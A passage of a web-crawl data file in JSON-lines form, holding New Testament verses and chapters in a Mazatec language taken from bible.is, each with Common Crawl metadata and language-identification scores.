kjoa̱biyaà; katamajngoò kjo̱hítsjen-na̱ ko̱ ts'e̱ Cristo koni s'ín komàt'in nga kisìkjeiín kjo̱'in skanda k'e̱ nga k'en,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/10","date":"2013-05-23T20:21:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703748374\/warc\/CC-MAIN-20130516112908-00085-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9941575527,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9941575527191162}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 16:5\n5 I̱kjoàn kiì'nchré-la̱ jè àkja̱le̱ xi ts'e̱ nandá, kitsò: —Ngaji̱ Na̱'èn, tjín-le kjoa̱kixi̱, nga k'oa̱s'ín kits'iì-la̱ kjo̱'in jñà xi̱ta̱ i̱t'aà ts'e̱ kjoa̱ koi, nga̱ ji̱í xi xi̱ta̱ tsjeè 'mì-lè, jií xi tijni skanda kjòtseé, tijni skanda i̱'ndei̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16\/5","date":"2013-06-20T11:12:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711441609\/warc\/CC-MAIN-20130516133721-00073-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9978976846,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9978976845741272}","num_words":56,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 10:16\n16 K'oa̱ás'ín keno̱jmíya-je̱n 'én ndaà-la̱ Nainá jñà na̱xa̱ndá xi fì isa̱ ñánda kijna na̱xa̱ndá tsajòn. Ta̱nga mì ya̱ ki̱tjásenjiìn-je̱n i̱'nde ñánda jye nchisíxá xi̱ta̱ xi kj'ei̱í nga mì ji̱n ndaà sikìtsa̱jna-je̱n yijo-naje̱n xá xi nchis'ín xi̱ta̱ xi kj'ei̱í.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/16","date":"2013-05-20T05:05:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698289937\/warc\/CC-MAIN-20130516095809-00076-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9969399571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9969399571418762}","num_words":57,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:18\n18 O̱kixi̱í xi xan-nò, koni tjín na̱chrjein kíjna ìsa i̱sò'nde ko̱ ngajmiì, nìmé xi tjáxìn-la̱ jè kjo̱tíxoma, ni̱ jngoò punto ko̱ ni̱ jngoò letra tjáxìn-la̱, skanda kóni nga ko̱jngoò yije kjoa̱ xi tjít'aà kjo̱tíxoma.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/18","date":"2013-05-22T17:07:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702019913\/warc\/CC-MAIN-20130516110019-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9971847534,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9971847534179688}","num_words":54,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 13:5\n5 K'oa̱á ma-ne nga mochjeèn-né nga ndaà si̱kitasòn-lá jñà xi xi̱ta̱xá títsa̱jna, mìtsà tà koi-ne nga kjo̱'in tsjá-ná; koi-né nga xó k'oa̱s'ín beè-la̱ takoán nga tjínè-ná nga si̱ki̱tasoán.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/13\/5","date":"2013-05-19T13:51:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697552127\/warc\/CC-MAIN-20130516094552-00049-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9978798628,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9978798627853394}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:18\n18 Koa̱tìn-la̱, kjo̱ndaà kàtas'ín. Kàtas'e-la̱ kjoa̱nchi̱ná nguixko̱n Nainá i̱t'aà ts'e̱ kjo̱ndaà xi s'ín. Kì kjoa̱xkon fìkjaá, ko̱ ini̱ma̱-la̱ kàtatsjá i̱tsé-la̱ xíkjín mé xi tjín-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/18","date":"2013-05-22T23:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702525329\/warc\/CC-MAIN-20130516110845-00090-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9983705878,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9983705878257751}","num_words":43,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 10:1\n1 'An xi Pablo 'mì-na, bìtsi'bà-nò i̱t'aà ts'e̱ Cristo xi tjín-la̱ kjo̱ndaà, ko̱ xi indaà tíjna ini̱ma̱-la̱. Tjín xi̱ta̱ xi tsò-na nga i̱ma̱ kjoa̱ xó s'iaàn k'e̱ nga ya̱ tijna̱jiìn-nò, ko̱ 'ñó xó ts'en s'iaàn k'e̱ nga kjiìn tijna̱a.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/1","date":"2013-06-18T05:53:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706961352\/warc\/CC-MAIN-20130516122241-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9978318214,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9978318214416504}","num_words":58,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jñò xi xi̱ta̱ na̱xa̱ndá-la̱ Cristo 'mì-nò xi ján titsa̱jna na̱xa̱ndá Colosas nga kixi̱ onguít'aà-là Cristo, 'an xi Pablo 'mì-na ko̱ 'ntsè Timoteo titsa̱níhixot'aà-nòje̱n nga 'a̱n tsibíxáya-na Jesucristo nga k'oa̱ás'ín kjòmejèn-la̱ Nainá. Nainá xi Na̱'èn-ná, ko̱ jè Jesucristo xi otíxoma-ná kàtatsjá-nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱-nò. 3 Kjit'aà na̱chrjein k'e̱ nga nokjoát'aà-la̱je̱n Nainá xi i̱t'aà tsa̱jòn, 'biì-laje̱n kjo̱ndaà Nainá xi Na̱'èn-la̱ Jesucristo jè xi otíxoma-ná. 4 Koií kjoa̱-la̱ nga̱je̱n jyeé k'oa̱s'ín kina'ya-je̱n nga ndaà mokjeiín-nò i̱t'aà ts'e̱ Cristo Jesús. Ti̱koa̱ matsjachaà ngats'iì xi̱ta̱-la̱ Nainá. 5 Koií k'oa̱s'ín 'nè-nò nga titsa̱chiñá-là nga tjoé-nò kjo̱ndaà xi tíjnatjò-la̱ Nainá ján ngajmì; koni s'ín kjochi̱ya-nò k'e̱ nga kina'yaà 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ngui kjoa̱kixi̱. 6 Tejè-ne jè 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi jye k'oa̱s'ín kina'yà, 'ñó tínakjoáya nga tíjtsa i̱sò'nde ko̱ 'ñó kjìn xi̱ta̱ nchifatjíya-la̱ kjo̱hítsjeèn-la̱ koni s'ín komatiòn jñò k'e̱ nga jahatjìya-la̱ kjo̱hítsjeèn-nò nga jahas'en-jiìn-nò kjo̱ndaà-la̱ Nainá xi ngui kjoa̱kixi̱. 7 K'oa̱ás'ín tsakóya-nò Epafras jè xi̱ta̱ xi matsjachaà-je̱n nga taña nìxákjo-je̱n i̱t'aà ts'e̱ Nainá; nga jè Epafras, jngoò chi̱'nda-la̱ Cristo xi kixi̱ síxá xi i̱t'aà tsa̱jòn. 8 Jyeé tsibèno̱jmí-naje̱n nga jè Ini̱ma̱ Tsjeè-la̱ Nainá síkítsjen-nò nga ndaà matsjachaà xi̱ta̱. 9 K'e̱ nga kina'yà-je̱n, mì kiì nijchajiìn-je̱n nga bitsi'batji-nòje̱n. K'oa̱ás'ín nijét'aà-laje̱n Nainá nga ngui ndaà kàtachi̱ya-nò koni s'ín mejèn-la̱ jè; jè Inìma̱ Tsjeè-la̱ kàtatsjá-nò kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱. 10 Ti̱koa̱á nìjét'aà-la̱je̱n nga k'oa̱s'ín ti̱jchá yijo-nò koni s'ín ok'ín-la̱ nga síjchá yijo-la̱ xi xi̱ta̱-la̱ Nainá, nga kjit'aà na̱chrjein k'oa̱s'ín t'eèn koni s'ín mejèn-la̱, nga k'oa̱ s'ín t'e̱èn ngats'iì kjoa̱ xi ndaà tjín ko̱ nga isa̱ ndaà jcha̱xkon yá-né xi Nainá. 11 K'oa̱ ti̱ s'ín nijet'aà-laje̱n Nainá nga tse nga'ñó katatsjá-nò koni s'ín tjín nga'ñó-la̱ xi mì kiì fehet'aà, mé-ne nga kixi̱ kitsa̱jna-nò ni̱ta̱mé kjoa̱ xi sa̱ko-nò, ti̱koa̱ s'e̱-nò kjoa̱tsejta ko̱ kjo̱tsja. 12 Tji-là kjo̱ndaà Na'èn-ná nga jè kisìkítsa̱jnanda-nò nga ti̱koa̱ tjoé-nò kjo̱tjò xi jè jye tjínda-la̱ ján ngajmi ñánda iseèn choòn nga tsjá-la̱ ngats'iì xi̱ta̱-la̱ xi ya̱ chja̱-ne na̱xa̱ndá-la̱ Nainá. 13 Nainá kisìkítsa̱jnandei̱í-ná i̱t'aà ts'e̱ nga'ñó-la̱ xi̱ta̱ nei̱í jè xi otíxoma ñánda jñò choòn; yaá kisìkítsa̱jna-ná ñánda tíhotíxoma Ki'ndí-la̱ xi 'ñó matsjakeè, 14 jè xi ko̱ jní-la̱ tsibìchjí-tjì-ná nga kisìkítsa̱jnandei̱í-ná ti̱koa̱ kisìjchat'aà-ná jé-ná. 15 Ni̱ saá jngoò xi̱ta̱ beèxkon Nainá ta̱nga jè Ki'ndí-la̱ tsakó-la̱ xi̱ta̱ yá-ne xi Nainá. Nga̱ jè Ki'ndí-la̱ xi tíjna ítjòn-la̱ ngats'iì xi kisindaà i̱sò'nde. 16 Nga ko̱ Cristo, Nainá tsibíndaà yije xi tjín ngajmiì ko̱ xi tjín i̱ i̱t'aà nangui, xi tsejèn ko̱ xi mì kiì tsejèn, ngats'iì nga'ñó xi tjín i̱jiìn i̱sén, xi titsa̱jna ítjòn, xi otíxoma, xi xá ítjòn tjín-la̱, ko̱ jñà nga'ñó xi mì kiì tsejèn-ná, i̱t'aà ts'e̱é Cristo kisinda yije-ne ko̱ ts'e̱-né. 17 Cristo, ìsa̱á kjòtseè tíjna mì k'oa-ne ngats'iì tsojmì xi tjín, ko̱ jè tsjá-la̱ nga'ñó ngats'iì tsojmì mé-ne nga ndaà kítsa̱jna-ne. 18 Jè Cristo tíjna sko̱-la̱ na̱xa̱ndá-la̱ nga ti̱jè-ne yijo-la̱ ko̱ i̱t'aà ts'e̱é kjòts'ia̱-ne. K'e̱ nga jaháya-la̱ Cristo i̱t'aà ts'e̱ kjoa̱biya, jè tsibíjna ítjòn-la̱ i̱t'aà ts'e̱ xi̱ta̱ xi faháya-la̱ mé-ne nga jè kíjna ítjòn-la̱ ni̱ta̱mé xi tjín. 19 Nainá k'oa̱ás'ín kisaseèn-la̱ nga jngoò k'aá ya̱ tsibìjnajiìn yijo-la̱ Cristo, 20 nga i̱t'aà ts'e̱ Cristo, Nainá tsajoóndaàko̱ yije-ne ngats'iì xi tjín i̱sò'nde ko̱ xi tjín ngajmiì; i̱t'aà ts'e̱ jní-la̱ Jesucristo xi kixíxteèn ján i̱t'aà krò, Nainá kisìkijne 'nchán kjoa̱. 21 Jñò, nga sa̱ ítjòn, ti̱koa̱á titsa̱jnat'aà xìn-la Nainá; kondra̱á tsanguì-là ya̱ i̱jiìn ini̱ma̱-nò, koií kjoa̱-la̱ nga ch'o tjín kjoa̱ xi ki'nè. 22 Ta̱nga i̱'ndei̱ jye ndaà tsajoóko̱-nò Nainá koií kjoa̱-la̱ jè kjo̱'in xi kisikjeiín Cristo i̱ i̱t'aà nangui k'e̱ nga k'en. Koií k'oa̱s'ín kis'iìn-ne mé-ne nga tsjeè ki̱tsa̱jnaà-nò, ko̱ ni̱mé jé xi s'e̱-nò ko̱ ni̱mé xi ch'o ki̱tjonguio̱o nga nguixko̱n Nainá. 23 Kjoa̱ koi mochjeén-né nga kixi̱ ti̱tsa̱jnaàko̱o koni s'ín mokjeiín-nò. Ko̱ kì binchàt'aàxìn-là kjoa̱ xi titsa̱chiñà-là i̱t'aà ts'e̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo, 'én xi jye kina'yà-là. Jè 'én jè, xki̱ xi ján tínokjoàyajiìn-la̱ xi̱ta̱ kóho̱kji i̱sò'nde; ko̱ 'an xi 'mì-na Pablo, 'aán kjònga̱tsja nga okoòya 'én. 24 I̱'ndei̱ matsjaà-na̱ nga kjo̱'in tísíkjiaán xi kjoa̱ tsa̱jòn nga k'oa̱ás'ín tísíjngoaà i̱jiìn yijo-na̱ koni s'ín chijat'aà-na kjo̱'in xi kitsjaà-na Cristo xi kjo̱ndaà ts'e̱ na̱xa̱ndá-la̱ nga ti̱jé-ne yijo-la̱. 25 'Aán tísíkjeén-na Nainá nga 'an tísíxákoa̱a na̱xa̱ndá-la̱, xá xi kisìnga̱tsja-na xi kjo̱ndaà tsa̱jòn nga ngui ndaà kéno̱jmiá 'én ndaà-la̱, 26 jè 'én xi tíjna'ma-la̱ Nainá nga ti̱sa̱ tàts'en-la̱ kjoa̱, ta̱nga na̱chrjein i̱'ndei̱, Nainá jye tsakó-la̱ xi̱ta̱-la̱. 27 Jè Nainá k'oa̱ás'ín kjòmejèn-la̱ nga tsakó-la̱ jñà xi̱ta̱-la̱ kó s'ín tjín kjoa̱'ma-la̱ xi 'ñó jeya tíjna xi kjo̱ndaà ts'e̱ xi mì tsà xi̱ta̱ judío. Jè kjoa̱'ma, jè-né nga jè Cristo tíjnajiìn inìma̱-nò jñò xi mìtsà xi̱ta̱ judío 'mì-nò, k'oa̱á ma-ne nga titsa̱chiñà-là jñò kjoa̱jeya-la̱ Nainá xi tsjá-nò ján ngajmiì. 28 K'oa̱ás'ín nokjoàya-jiìn-la̱je̱n ngats'iì xi̱ta̱ i̱t'aà ts'e̱ Cristo; 'ñó nokjoàko̱-je̱n nga nguiì ko̱ kjoa̱chji̱ne̱ okoòya-la̱je̱n mé-ne nga ngats'iì xi̱ta̱ xi fìt'aà-la̱ Cristo ni̱mé chi̱jat'aà-la̱ jè na̱chrjein k'e̱ nga ngaje̱n si̱ìnga̱tsja-je̱n nga nguixko̱n Nainá. 29 K'oa̱á ma-ne nga 'ñó tíbinè-la̱ yijo-na̱ nga tísiìxá, tìsìkjeén jè nga'ñó xi tsjá-na Cristo.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Col\/1","date":"2013-05-23T21:04:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703788336\/warc\/CC-MAIN-20130516112948-00064-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000019073486328}","num_words":775,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 24:24\n24 Kjoi̱í xi̱ta̱ ndiso xi Cristo ki̱tso̱-la̱ yijo-la̱, ti̱koa̱á kjoi̱í xi̱ta̱ xi koa̱ ti ki̱tso̱ nga jñà xi chja̱ ngajo-la̱ Nainá. K'oa̱á tis'ín ko̱kò seña ko̱ kjo̱xkón xi ndaà tjín nga skóna̱cha̱n. Skanda jñà xi̱ta̱ xi jye jaàjiìn Nainá mejèn skóna̱cha̱n-la̱ tsà ko̱kjeiín-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24\/24","date":"2013-06-19T14:47:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708808740\/warc\/CC-MAIN-20130516125328-00006-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9981711507,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9981711506843567}","num_words":63,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:18\n18 Ni̱to̱n ñánda tíjna k'e̱ nga tsobà'ñó, majndòt'aà nangui ko̱ ochrje ndáxó tso'ba, síjtsiìn ni'ñoò, i̱kjoàn si̱jna tsjò. K'oi tisíjé-la̱ xi̱ta̱ xi kota'yàt'aà-lè nga kàtachrjekàjiìn ini̱ma̱-la̱ jè ini̱ma̱ ch'o̱-la̱ nei̱í ta̱nga mì kiì bitjokàjiìn-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/18","date":"2013-05-24T11:16:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704645477\/warc\/CC-MAIN-20130516114405-00061-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9992213249,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9992213249206543}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pedro 2:11\n11 Jñà àkja̱le̱, na̱s'ín ìsa̱ tse nga'ñó tjín-la̱ koa̱ tjín-la̱ kjo̱tíxoma, mì kiì k'oa̱s'ín chja̱jno-la̱ nga'ñó xi mì kiì tsejèn nga nguixko̱n Na̱'èn-ná.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/11","date":"2013-06-18T06:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706964363\/warc\/CC-MAIN-20130516122244-00037-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9983794093,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9983794093132019}","num_words":42,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I̱t'aà tsa̱jòn sìnga̱tsja-nò jè tichjaá Febe, jè xi síchját'aà na̱xa̱ndá-la̱ Cristo xi ya̱ tíjna Cencrea; 2 ndaà chjoétjò xi̱ta̱ jè nga xinguiaá ma nga ti̱koa̱ mokjeiín-la̱ i̱t'aà ts'e̱ Na̱'èn-ná nga k'oa̱á s'ín ok'ìn-la̱ xi xi̱ta̱-la̱ Cristo. Tichját'aà-là ni̱ta̱mé xi ko̱chjeén-la̱ nga 'ñó kjín xi̱ta̱ tsasìko̱, ti̱koa̱ 'an kisìchját'aà-na. 3 Ti̱ìxat'eì jè Priscila ko̱ Aquila, jñà xi̱ta̱ xi tañà nìxákjòje̱n i̱t'aà ts'e̱ Cristo Jesús. 4 Jñà xi̱ta̱ koi kjo̱meè kinìk'en xi kjoa̱ ts'a̱n. Mìtsà tà 'an xi tsjaà-la̱ kjo̱ndaà ti̱koa̱ tsjá-la̱ kjo̱ndaà ngats'iì xi̱ta̱ na̱xa̱ndá-la̱ Cristo xi mìtsà xi̱ta̱ judío. 5 Ti̱koa̱ ti̱ìxat'eì jñà xi̱ta̱ na̱xa̱ndá-la̱ Cristo xi maxkóya ya̱ ni'ya-la̱ Priscila ko̱ Aquila. Ti̱ìxat'eì jè Epeneto xi 'ñó matsjakeè nga jè kòkjeiín ítjòn-la̱ i̱t'aà ts'e̱ Cristo ya̱ i̱'nde Acaya. 6 Ti̱ìxat'eì jè María, chjo̱ón xi 'ñó ndaà kisìxá i̱t'aà tsa̱jòn. 7 Ti̱ìxat'eì jè Andrónico ko̱ Junias, xi xinguiaá ma nga tañà tsitsa̱jnaya-je̱n nda̱yá. Jñà xi̱ta̱ xi tsibíxáya-la̱ Cristo 'ñó matsjakeè xi̱ta̱ koi. Ko̱ ìsa̱ ítjòn kijtseèxkon 'én-la̱ Cristo koni 'an. 8 Ti̱ìxat'eì jè Amplias, jè xi̱ta̱ xi 'an 'ñó matsjakeè i̱t'aà ts'e̱ Na'èn-ná. 9 Ti̱ìxat'eì jè Urbano xi tañà síxáko̱-na̱ i̱t'aà ts'e̱ Cristo Jesús ko̱ jè Estaquis xi 'an 'ñó matsjakeè. 10 Ti̱ìxat'eì jè Apeles xi ndaà kixi̱ mokjeiín-la̱ i̱t'aà ts'e̱ Cristo. Ti̱ìxat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya-la̱ jè Aristóbulo. 11 Ti̱ìxat'eì jè Herodión xi xinguiaá ma. Ti̱ìxat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya-la̱ Narciso xi Na̱'èn-ná títsa̱jnako̱. 12 Ti̱ìxat'eì jè Trifena ko̱ Trifosa jñà íchjín xi 'ñó síxá-la̱ Na̱'èn-ná, ko̱ tichjaá Pérsida xi 'ñó matsjachaá nga ti̱koa̱ ndaà síxá-la̱ Nainá. 13 Ti̱ìxat'eì jè Rufo xi xó jaàjiìn-ne Nainá. Ko̱ nea̱-la̱ xi 'an k'oa̱ ti s'ín beètakoàn koni tsà nea̱-na̱. 14 Ti̱ìxat'eì jè Asíncrito, jè Flegonte, jè Hermas, jè Patrobas, jè Hermes ko̱ xi̱ta̱ 'ntsé xi ya̱ títsa̱jnako̱. 15 Ti̱ìxat'eì jè Filólogo, jè Julia, jè Nereo ko̱ ndichja, ko̱ Olimpas, ngats'iì xi̱ta̱ xi mokjeiín-la̱ i̱t'aà ts'e̱ Cristo xi ya̱ títsa̱jnako̱. 16 Jñò nga jngoò ìjngoò, k'e̱ nga si̱ìxat'aà xinguio̱o, nguì ko̱ó ini̱ma̱-nò ti̱hixat'aà xinguio̱o nga ko̱ o̱kixi̱-nò. Ngats'iì xi̱ta̱ na̱xa̱ndá-la̱ Cristo xi i̱ títsa̱jna síhi̱xat'aà-nò. 17 Ndí 'ntsè k'oa̱s'ín bìtsi'bà-nò nga chítsejèn-là jñà xi̱ta̱ xi sijòya ko̱ xi sikitsón-jiìn koni s'ín mokjeiín-nò, jñà xi kondra̱ f'iì-la̱ kjo̱hítsjeèn koni s'ín kichíta'yà jñò. Ti̱nchat'aàxìn-là jñà xi̱ta̱ koi. 18 Jñà xi̱ta̱ koi, mìtsà Na̱'èn-ná Jesucristo síxá-la̱, tà yijo-la̱á síxátjì. 'Én sin 'én ndaà chja̱ nga kona̱cha̱n-la̱ xi̱ta̱ xi mì kiì ndaà machi̱ya-la̱. 19 'An matsjaà-na i̱t'aà tsa̱jòn nga jye ndaà na'yà-nò nga ndaà nìkitasòn. Ta̱nga 'an mejèn-na nga xi̱ta̱ chji̱ne̱e kàtama i̱t'aà ts'e̱ kjoa̱ xi ndaà tjín. Ko̱ jñà kjoa̱ xi ch'o tjín, kj'eè kiì nà'yà-nò. 20 Jè Nainá xi tsjá-ná kjoa̱'nchán, tà chibaá chija-la̱ nga ya̱ si̱kíjnangui ntso̱ko̱ò jè xi̱ta̱ nei̱í mé-ne nga ko̱ma ki̱nchanè. Kjo̱ndaà-la̱ Na̱'èn-ná Jesucristo kàtìjna-ko̱-nò. 21 Tísíhixat'aà-nò jè Timoteo xi tañà nìxákjo-je̱n, ko̱ Lucio, ko̱ Jasón ko̱ Sosípater jñà xi xi̱ta̱ xinguia̱a ma. 22 'An xi Tercio mì-na̱, xi tikji-nò xo̱jo̱n jè, i̱t'aà ts'e̱ Na'èn-ná, sìhixat'aà-nò. 23 Ti̱koa̱ tísíhixat'aà-nò Gayo; 'an i̱í tìjna i̱ ni'ya-la̱ nga ti̱koa̱ i̱ bixoña ngats'iì xi̱ta̱ na̱xa̱ndá-la̱ Cristo. Tísíhixat'aà-nò Erasto xi̱ta̱ xi bítjò to̱n ts'e̱ ni'ya osen, ti̱koa̱ síhixat'aà-nò jè 'ntsé xi 'mì Cuarto. 24 Ngats'io̱o, jè kàtìjna-ko̱-nò kjo̱ndaà-la̱ Jesucristo xi otíxoma-ná. 25 Jeya kàtíjna jè Nainá xi tíjnako̱-nò. Jè xi komà tsjá-nò nga'ñó ti̱koa̱ komà kixi̱ si̱ikítsa̱jna-nò koni tsò 'én ndaà-la̱ Nainá xi 'an okoòya-nò ko̱ jñà 'én xi nokjoàyajiìn-nò i̱t'aà ts'e̱ Na̱'èn-ná Jesucristo. Nga jyeé tí'ya-la̱ kjoa̱ xi tjí'ma-la̱ Nainá skanda sa̱ kjòtseè; 26 ta̱nga i̱'ndei̱ jye ki'ya-la̱ koni s'ín tíchja̱ Xo̱jo̱n-la̱ Nainá xi kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá kjòtseè. K'oa̱s'ín tíchja̱ kjo̱tíxoma-la̱ Nainá xi tíjna ni̱ta̱ mé na̱chrjein-nè. Jè kjoa̱'ma-la̱ Nainá, jye kis'eèno̱jmí yije-la̱ ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín nga tíjtsa̱ i̱sò'nde mé-ne nga kàtasíkitasòn-ne koni s'ín mokjeiín-la̱. 27 Jè Nainá xi ta̱jngoò ma-ne, xi tjín-la̱ kjoa̱chji̱ne̱, kàtas'e-la̱ kjoa̱ jeya i̱t'aà ts'e̱ Jesucristo ni̱ta̱ mé na̱chrjein-ne. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/16","date":"2013-05-26T00:58:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706474776\/warc\/CC-MAIN-20130516121434-00010-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 